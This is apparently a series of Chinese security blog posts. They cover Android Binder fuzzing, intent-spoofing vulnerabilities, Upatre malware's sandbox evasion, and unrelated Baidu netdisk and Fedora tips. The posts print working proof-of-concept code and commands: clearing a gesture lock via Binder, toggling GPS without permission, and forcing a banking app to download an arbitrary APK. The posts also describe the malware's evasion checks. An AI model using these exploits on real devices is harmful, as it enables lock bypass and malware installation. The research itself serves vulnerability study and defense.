Android app 是由 Activity、Service、Broadcast 和 Content Provider 四大组件构成,而这些组件可能运行在同一进程中,也可能运行在不同的
进程中,而像 PowerManagerService等重要服务都运行在核心进程 system_server 里,所以 Android 系统必须实现一个靠谱的进程间通信机制 (IPC)。
Android系统基于 Linux 开发,Linux 中有很多进程间通信的方法,如 Signal、Pipe、Socket、Share Memeory、Semaphore, 但是 Android 系统并没有使用
这些进程间通信的方法,而是基于 OpenBinder 自己开发了一套进程通信的方法,Binder 是 Android 系统 IPC 通信的机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ adb shell ps | grep system_server
system 63 32 120160 35408 ffffffff afd0c738 S system_server

$ adb logcat | grep "63)"
...
D/PowerManagerService( 63): bootCompleted
I/TelephonyRegistry( 63): notifyServiceState: 0 home Android Android 310260 UMTS CSS not supp...
I/TelephonyRegistry( 63): notifyDataConnection: state=0 isDataConnectivityPossible=false reason=null
interfaceName=null networkType=3
I/SearchManagerService( 63): Building list of searchable activities
I/WifiService( 63): WifiService trying to setNumAllowed to 11 with persist set to true
I/ActivityManager( 63): Config changed: { scale=1.0 imsi=310/260 loc=en_US touch=3 keys=2/1/2 nav=3/1 ...
I/TelephonyRegistry( 63): notifyMessageWaitingChanged: false
I/TelephonyRegistry( 63): notifyCallForwardingChanged: false
I/TelephonyRegistry( 63): notifyDataConnection: state=1 isDataConnectivityPossible=true reason=simL...
I/TelephonyRegistry( 63): notifyDataConnection: state=2 isDataConnectivityPossible=true reason=simL...
D/Tethering( 63): MasterInitialState.processMessage what=3
I/ActivityManager( 63): Start proc android.process.media for broadcast
com.android.providers.downloads/.DownloadReceiver: pid=223 uid=10002 gids={1015, 2001, 3003}
I/RecoverySystem( 63): No recovery log file
W/WindowManager( 63): App freeze timeout expired.

binder

2. Binder 架构

Binder 使用 CS (Client/Server) 模型,提供服务的进程是 Server 进程,访问服务的是 Client 进程。从代码实现的角度看,Binder架构采用的是分层架构设计,
大致上可以分为 Java 层, Java IPC 层,Native IPC 层, Linux 内核层。

1

从组件的视角来看,Binder 包含了 Client、Server、ServiceManger 和 binder 驱动, ServiceManager 用于管理系统中的各种服务,见下图。

2

图中虚线的箭头为跨进程的进程间通信,必须使用 Android IPC binder 机制。

3. 为什么要 fuzz binder

把 Binder 作为一个目标的原因比较明显的,因为在 Android 的安全模型中,Binder 是一个重要的安全边界。在一个低权限
的 app 里面构造的数据,会在高权限的进程里面使用,如果发生问题,就是一个明显的权限提升漏洞。另外数据在处理的过程中,
有 flatten 和 unflatten 两个步骤,这些步骤就像我们平时说的编码和解码一样非常容易出问题。

weakness

存在一些非常经典的漏洞, 例如 CVE-2014-7911 该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。

4. 实现

在每个层面都可以实现相关代码进行 Fuzz, 下面分析在每个层面的具体实现。

4.1 直接调用 ioctl

实现 Binder fuzzer 的方法有好几种,最直接的想法当然就是直接调用 ioctl 系统调用。

ioctl

其中 fd 可以通过打开 /dev/binder 设备文件获得,难点在 binder_write_read 数据结构的构造。

1
int fd = open("/dev/binder", O_RDWR);

4.2 Native 层

在 Native 层,利用 IBinder 可以将问题简化, 看上面的结构图,通过阅读 Android 源码, 可以看出我们可以利用 IBinder
的 transcat 来调用相应的Binder 接口函数,参考:

https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp

调用 IBinder 的 transact 需要自己填充 parcel 数据, 可以从下面的示意理解大致的含义:

5

code 为 Binder 调用接口的功能号, parcel 中需要指定调用那个接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
String16 get_interface_name(sp<IBinder> service)
{
if (service != NULL) {
Parcel data, reply;
status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply);
if (err == NO_ERROR) {
return reply.readString16();
}
}
return String16();
}

int main(int argc, char** argv).
{
sp<IServiceManager> sm = defaultServiceManager();
Vector<String16> services = sm->listServices();

for (uint32_t i = 0; i < services.size(); i++) {
String16 name = services[i];
sp<IBinder> service = sm->checkService(name);
String16 ifName = get_interface_name(service);
if (service != NULL && ifName.size() > 0) {

for (uint32_t code = 0; code <= 100; code++) {
aout << "ifName: " << ifName << ", code: " << code << endl;

Parcel data, reply;
data.writeInterfaceToken(ifName);
for (uint32_t i = 0; i < random() % 800; i++ ) {
uint32_t a = random();
aout << "data[" << i << "]: " << a << endl;
data.writeInt32(a);
}
service->transact(code, data, &reply, 1);
}
}
}
return 0;
}

4.3 Java 应用层

到了 Java 应用层,我们可以获得的信息就丰富了,可以获得详细的信息。

1) 获取所有运行的services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String[] getServices() {
String[] services = null;
try {
services = (String[]) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("listServices").invoke(null);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return services;
}

2) 获得对应服务的IBinder 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

3) 利用反射获取对应接口的所有code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public HashMap<String,Integer> getBinderCode(String interfaceDescriptor) {
HashMap<String, Integer> codes = new HashMap<>();

if (interfaceDescriptor == null)
return codes;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub");
Field[] f = cStub.getDeclaredFields();
for (Field field : f) {
field.setAccessible(true);
String k= field.toString().split("\\$Stub\\.")[1];
if (k.contains("TRANSACTION"))
codes.put(k, (int)field.get(this));
}
} catch (Exception e) {
}

return codes;
}

4) 利用反射获取对应接口所有调用的参数类型

binder call 的参数类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public HashMap<String, List<String>>
getBinderCallParameter(String interfaceDescriptor,
HashMap<String, Integer> codes) {
HashMap<String, List<String>> ret = new HashMap();

if (interfaceDescriptor == null)
return ret;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub$Proxy");
Method[] m = cStub.getDeclaredMethods();

for (Method method : m) {
int func_code = 0;
List<String> func_parameter = new ArrayList<>();

method.setAccessible(true);
String func_name = method.toString().split("\\$Stub\\$Proxy\\.")[1];
func_parameter.add(func_name);

for (String key : codes.keySet()) {
if (func_name.contains(key.substring("TRANSACTION_".length())))
func_code = codes.get(key);
}

if (func_code == 0)
continue;

Class<?>[] ParameterTypes = method.getParameterTypes();
for (int k=0; k < ParameterTypes.length; k++) {
func_parameter.add(ParameterTypes[k].toString());
}

ret.put(Integer.toString(func_code), func_parameter);
}
} catch (Exception e) {
}

return ret;
}

5)Binder 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}
public void fuzz (int code, String Service) {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

IBinder serviceBinder = BinderInfo.getIBinder(service);
serviceBinder.transact(code, data, reply, 0);
}

上面的几个步骤已经全部java 代码实现,可行。

5. 实现方法的分析于比较

ioctl 的方法过于底层,需要实现的代码很多,而 java 应用层的代码由于权限原因,经常会遇到没有权限的情况。
所以使用 Native 层的方法是合适的,在Root 的Android 机器上运行代码,可以解决权限问题。而 Java 应用层的
代码利用反射可以获取到每个接口的详细信息,根据获取到的信息指导 Native 层 fuzz 程序的后续变异,应该是比较理想的方法。

6. Fuzz 数据的生成

可以考虑移植 radasma 到 Android 平台

1
2
3
4
5
6
7
8
9
10
11
$ git clone https://github.com/anestisb/radamsa-android.git
$ cd radamsa-android
$ export PATH=$PATH:NDK_PATH
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./jni/Android.mk \
APP_PLATFORM=android-24 APP_ABI=armeabi-v7a \
NDK_TOOLCHAIN=arm-linux-androideabi-4.9


[armeabi-v7a] Compile thumb : radamsa <= radamsa.c
[armeabi-v7a] Executable : radamsa
[armeabi-v7a] Install : radamsa => libs/armeabi-v7a/radamsa

6.1 更新 radamsa-android

github 上移植的radamsa 已经比较古老 (0.4), 可以直接将最新版(0.6a)的radamsa 移植
到 Android上。方法比较简单,在原始的 radamsa 中有一个 radamsa.c 将这个文件替换
radamsa-android/jni 目录下的 radamsa.c

然后在文件中添加下面代码, 重新编译即可:

1
2
3
4
5
6
#ifdef ANDROID
#include <arpa/inet.h>
#ifndef WIFCONTINUED
#define WIFCONTINUED(stat) 0
#endif
#endif

7. Fuzz 出来的一些漏洞

1) htc m8 零权限打开闪光灯

1
2
3
4
5
6
7
8
9
10
IBinder serviceBinder = getIBinder("media.camera");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[1024]);
serviceBinder.transact(8, data1, reply1, 0);
} catch (Exception e) {}

2) Android 6.0.1 MOB3OM 手势密码清除漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

public void attack() {
IBinder serviceBinder = getIBinder("lock_settings");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[255]);
serviceBinder.transact(7, data1, reply1, 0);
} catch (RemoteException e) {}
}

public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

在Android 6.0.1 MOB3OM 之前的一些版本中, 未在setLockPattern 中做权限检查,
导致apk 不需要任何权限就可以将手势密码清除.

这个问题已经修复 author Jim Miller jaggies@google.com Wed Apr 13 16:35:36 2016 -0700

https://android.googlesource.com/platform/frameworks/base/+/b5383455b6cae093e60684b4f5cccb0cc440330d%5E%21/#F0

但是考虑到Android 的碎片化问题, 估计在一些手机中将存在这个问题.

参考资料

百度网盘在国内很大概率是绕不过去,稍大点文件都喜欢用百度网盘给下载地址。可是百度网盘下载
是限速的,而且对 Linux 用户非常不友好,我的 Fedora 装上 rpm 包也用不了,直接崩溃,所以得想点其他办法。

1. 官方安装包 (不一定都能使用)

官方提供了 deb 和 rpm 格式安装包

http://issuecdn.baidupcs.com/issue/netdisk/LinuxGuanjia/3.0.1/baidunetdisk_linux_3.0.1.2.rpm
http://issuecdn.baidupcs.com/issue/netdisk/LinuxGuanjia/3.0.1/baidunetdisk_linux_3.0.1.2.deb

但是在 Fedora 安装后,会报错误。

2. BaiduPCS-Go (百度网盘客户端 - Go语言编写)

https://github.com/iikira/BaiduPCS-Go

2.1 登录

./BaiduPCS-Go login -bduss=xxxxx

2.2 设置并发

1
> config set -max_parallel=50

2.3 下载

1
> download xxxxx

3. 使用浏览器插件

https://github.com/acgotaku/BaiduExporter.git

可以直接使用作者提供的打包好的插件, 直接安装即可。

https://github.com/acgotaku/BaiduExporter/blob/master/BaiduExporter.crx

这个插件将使用 aria2c 下载,使用得先准备一个可以使用的aria2c
要让 aria2c 更好用一些,可以修改一下配置,配置文件可以参考

https://raw.githubusercontent.com/acgotaku/BaiduExporter/master/aria2c/aria2.conf

1. 默认启用 Cgroups V2

nozuonodie, 升级到 Fedora 31 后, CgroupsV2 已经默认开启,理由是原来不是默认开启没人用,现在让 Fedora 用户先当当小白鼠,
于是 Docker 就倒下了。http://t.cn/Ai1sI5LH grub2 配置文件 /etc/default/grub, 内核参数添加 systemd.unified_cgroup_hierarchy=0
可以重新开启 CgroupsV1 ​​​​

2. 默认的 Python 为 Python3

https://fedoraproject.org/wiki/Changes/Python_means_Python3

唉,不得不说 Fedora 这次有点太激进了, 搞得我编译 chromium 又出问题了。 要换回去有个歪招

ln -s /usr/bin/python2 /usr/local/bin/python

0. Android的安全模型

  • application sandbox
  • selinux
  • permissions
  • application signing

正是因为Application sandbox的存在,App进程之间是相互隔离的。有下面一个场景一个
App需要调用weixin来分享内容,如何处理?这就需要用到intent,告诉Android系统你的
意图是什么,Android系统将调用相应的处理程序来处理。

Intent 是一个将要执行的动作的抽象的描述,一般来说是作为参数来使用,由Intent来协
助完成android各个组件之间的通讯。比如说调用startActivity()来启动一个activity,或
者由broadcaseIntent()来传递给所有感兴趣的BroadcaseReceiver, 再或者由
startService()/bindservice()来启动一个后台的service.所以可以看出来,intent主要
是用来启动其他的activity 或者service,所以可以将intent理解成activity之间的粘合剂。

1. Intent

Intent有两种类型,Explicit Intent 和 Implicit Intent。

  • Explicit Intent

明确指定Intent的名字(全类名),当你使用Explicit Intent 启动Activity或者启动 Service,
Android系统会立即启动Intent对象所指定的Component。

  • Implicit Intent

指定Intent的ACTION,当你使用Implicit Intent,Android系统将通过比较 App Manifest
文件中所定义的Intent filter来启动符合要求的Component。如果只有一个Intentfilter
被匹配成功,系统将启动对应的Component,并递送Intent Object。如果有多个intent
filter是兼容的,系统将显示一个dialog,用户可以选择需要使用的component

下面用代码说明这两种Intent

Explicit Intent

1
2
3
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);

Implicit Intent

1
2
3
4
5
6
7
8
9
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType(HTTP.PLAIN_TEXT_TYPE); // "text/plain" MIME type

// Verify that the intent will resolve to an activity
if (sendIntent.resolveActivity(getPackageManager()) != null) {
startActivity(sendIntent);
}

2. Intent Spoofing

Android Intent Spoofing是一个比较常见的问题。如果Android组件(component,service
receiver)是导出的话(exported=true),恶意程序可以使用 Explicit Intent向这个组件
发送Intent,Android无法识别这个 Intent是谁发送的,将会正常的执行请求的操作。

从上面的描述中可以发现,关键是 component要是导出的,而Android的component的导出的
默认值并不是固定的,这点我们从Google提供的文档可以证实。

http://developer.android.com/guide/topics/manifest/receiver-element.html

android:exported

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Whether or not the broadcast receiver can receive messages from sources outside
its application — "true" if it can, and "false" if not. If "false", the only messages
the broadcast receiver can receive are those sent by components of the same
application or applications with the same user ID.

The default value depends on whether the broadcast receiver contains intent filters.
The absence of any filters means that it can be invoked only by Intent objects
that specify its exact class name. This implies that the receiver is intended
only for application-internal use (since others would not normally know the class name).
So in this case, the default value is "false". On the other hand, the presence
of at least one filter implies that the broadcast receiver is intended to receive
intents broadcast by the system or other applications, so the default value is "true".

This attribute is not the only way to limit a broadcast receiver's external exposure.
You can also use a permission to limit the external entities that can send it
messages (see the permission attribute).

我写了一个程序测试具体的情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver
android:name=".PhoneReceiver"
android:enabled="true">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

测试程序注册了一个Receiver,这个Receiver处理 com.nsfocus.test Implicit Intent
包含了一个Intent Filter,在AndroidManifest.xml中没有明确声明这个reciever是导出的
还是未导出的。

receiver 的代码为

1
2
3
4
5
 public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Get it", Toast.LENGTH_LONG).show();

}
}

使用adb shell中发送广播

1
adb shell am broadcast -a com.nsfocus.test

可以看到Get it 的提示信息,也就是说 component 处理 Implicit Intent 时默认是
exported=true 的,这就是问题的关键。

下面修改代码改成 exported=false,看看是什么情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:exported="false">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

receiver 照样可以收到,显示”Get it”,所以在receiver里做校验是非常有必要的。因为
无论exported如何设置,只要里面包含了Intent Filter 就可以接受到消息。

2.1 一般解决方案

如果设置了 intent-filter,可以利用 android:permission 属性来要求广播发送者所
需要具有的必要权限,这样才不会产生权限绕过问题。

比如我在.PhoneReceiver里要实现收短信的功能,就应该写成这样

1
2
3
4
5
6
7
8
9
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:permission="android.permission.SMS_RECEIVED"
android:exported="false">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>

这样广播发送者需要声明** android.permission.SMS_RECEIVED **权限,不然.PhoneReceiver就不
处理了,修改后测试发现确实收不到了。

2.2 漏洞实例

启用手机GPS

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
intent.addCategory("android.intent.category.ALTERNATIVE");
intent.setData(Uri.parse("custom:3"));
mContext.sendBroadcast(intent);

上面这个例子是通过广播的方法进行攻击的,攻击的目标是com.android.settings.widget
Android并未提供操作GPS的API,但是通过上面这个方法却可以控制GPS的开关。而且更有趣
的是我们并没有声明任何和Location相关的权限 :)

widget是Android提供的桌面的小插件,就和KDE的之类的插件类似,可以通过Google提供的
API来开发。

custom:3 这个字符串比较诡异,其实可以在Android 的代码中找到

/com/android/settings/widget/SettingsAppWidgetProvider.java

1
2
3
4
5
private static final int BUTTON_WIFI = 0;
private static final int BUTTON_BRIGHTNESS = 1;
private static final int BUTTON_SYNC = 2;
private static final int BUTTON_LOCATION = 3;
private static final int BUTTON_BLUETOOTH = 4;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
String action = intent.getAction();
if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
sWifiState.onActualStateChange(context, intent);
} else if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
sBluetoothState.onActualStateChange(context, intent);
} else if (LocationManager.MODE_CHANGED_ACTION.equals(action)) {
sLocationState.onActualStateChange(context, intent);
} else if (ContentResolver.ACTION_SYNC_CONN_STATUS_CHANGED.equals(action)) {
sSyncState.onActualStateChange(context, intent);
} else if (intent.hasCategory(Intent.CATEGORY_ALTERNATIVE)) {
Uri data = intent.getData();
int buttonId = Integer.parseInt(data.getSchemeSpecificPart());
if (buttonId == BUTTON_WIFI) {
sWifiState.toggleState(context);
} else if (buttonId == BUTTON_BRIGHTNESS) {
toggleBrightness(context);
} else if (buttonId == BUTTON_SYNC) {
sSyncState.toggleState(context);
} else if (buttonId == BUTTON_LOCATION) {
sLocationState.toggleState(context);
} else if (buttonId == BUTTON_BLUETOOTH) {
sBluetoothState.toggleState(context);
}
} else {
// Don't fall-through to updating the widget. The Intent
// was something unrelated or that our super class took
// care of.
return;
}

// State changes fall through
updateWidget(context);
}

可以发现无法对广播的发送者进行校验,收到广播就执行相关的动作。

江苏银行手机银行下载安装任意apk(可木马)

http://www.wooyun.org/bugs/wooyun-2010-0104992

AndroidManifest.xml

1
2
3
4
5
<service android:name=".UpdateService">
<intent-filter>
<action android:name="cn.jsb.china.UpdateService" />
</intent-filter>
</service>

UpdateService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public int onStartCommand(Intent arg6, int arg7, int arg8) {

Bundle v0 = arg6.getExtras();

if(v0 != null) {
this.a = v0.getBoolean("isupdate");
}

this.b = arg6.getStringExtra("url");
this.c = this.getSystemService("notification");
this.d = new Notification();
this.d.icon = 17301633;

if(this.a) {
this.i = new RemoteViews(this.getPackageName(), 2130903048);
this.d.tickerText = "正在下载江苏银行";
}

else {
this.i = new RemoteViews(this.getPackageName(), 2130903043);
this.d.tickerText = "正在下载手机证券";
}

this.d.when = System.currentTimeMillis();
this.d.flags |= 2;
this.d.flags |= 32;
this.d.defaults = 4;
this.d.contentView = this.i;
this.d.setLatestEventInfo(((Context)this), "", "", PendingIntent.getActivity(((Context)this),
0, arg6, 0));

this.c.notify(this.j, this.d);
this.g = new jn(this, Looper.myLooper(), ((Context)this));
this.g.sendMessage(this.g.obtainMessage(3, Integer.valueOf(0)));
new jm(this, this.b).start();

return super.onStartCommand(arg6, arg7, arg8);

}

利用代码

1
am startservice -n cn.jsb.china/.UpdateService --ez isupdate true --es url http://192.168.102.204/mijian_2.5.1_272.apk

美团外卖客户端本地拒绝服务漏洞

http://www.wooyun.org/bugs/wooyun-2010-0106580

利用代码

1
adb shell am startservice -n com.sankuai.meituan.takeoutnew/com.sankuai.mtmp.service.MtmpService

航旅纵横手势锁轻易绕过及其它漏洞

http://www.wooyun.org/bugs/wooyun-2010-0111692

利用代码

1
am start com.umetrip.android.msky.app/com.umetrip.android.msky.activity.MainActivity

参考链接

Upatre 使用了一些新的逃逸技术来逃逸动态沙盒引擎的检查,这些技巧都非常的简单,但
是非常的有效果。事实上,VirusTotal上Upatre的检出率并不高,新变种出来基本都检测不
出来,说明现在的恶意软件对付杀毒软件是越来越有办法了。

目前在恶意软件上加壳倒是越来越少了,因为加壳容易引起杀软引擎的注意,相反地目前的
恶意软件大量使用边执行边修改自身代码的方法来躲避杀软,不执行的话看起来就像是一个
正常的软件,而真正执行起来代码却全变了,这也算是一种进化。

下面说说两种最近遇到的沙盒逃逸的办法,样本md5: ac3558b973402ef6a27e03c391f20533

检查开机时间

一般使用沙盒的分析引擎的做法都是安装一个全新的系统,做系统镜像。然后在检查的时候
加载镜像,执行样本。而开机的时间往往都被忽略了,基本都不会超过10分钟。

Upatre 样本所采取的方法是利用GetTickCount 获取开机的毫秒数,当开机时间小于12分钟
是就不执行恶意的行为。

1
2
3
4
5
6
7
8
004013B3    BB D8FE0A00         MOV EBX,0AFED8
004013B8 FF55 DC CALL DWORD PTR SS:[EBP-24] ; kernel32.GetTickCount
004013BB 3BC3 CMP EAX,EBX
004013BD 0F82 6F020000 JB 00401632

00401632 6A 00 PUSH 0
00401634 FF55 F4 CALL DWORD PTR SS:[EBP-C] ; kernel32.ExitProcess

0xAFED8 是 720600毫秒 12分钟多一点,不到进程退出了。

检查鼠标位置

Upatre样本使用的第二种沙盒逃逸的方法是检查鼠标位置的变化,动态沙盒分析系统大多是
自动化的系统,也就是不使用鼠标,如果Upatre样本检查到鼠标的位置没有发生变化,同样
不会执行恶意行为。

1
2
3
4
5
6
7
8
9
10
11
0040197C   8D85 04FFFFFF       lea eax,dword ptr ss:[ebp-0xFC]
00401982 50 push eax
00401983 FF95 20FFFFFF call dword ptr ss:[ebp-0xE0] ; user32.GetCursorPos
00401989 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-0xF4]
0040198F 50 push eax
00401990 FF95 20FFFFFF call dword ptr ss:[ebp-0xE0] ; user32.GetCursorPos
00401996 8B85 04FFFFFF mov eax,dword ptr ss:[ebp-0xFC]
0040199C 8B9D 0CFFFFFF mov ebx,dword ptr ss:[ebp-0xF4]
004019A2 39D8 cmp eax,ebx
004019A4 74 D6 je short 62.0040197C

只要鼠标一动就退出循环,继续往下执行。

总结

最近出现的样本在反动态沙盒检测方面明显地进化了,针对性极强,不再局限于古老的
IsDebuggerPresent,而是利用PEB检查CPU核数等技术办法来检测,沙盒对抗估技术在后面
的日子里一定会更加迅速的进化。

致谢

非常感谢西安研究中心的同事提供的样本,同时感谢同事lzx在样本分析时给予的大力支持。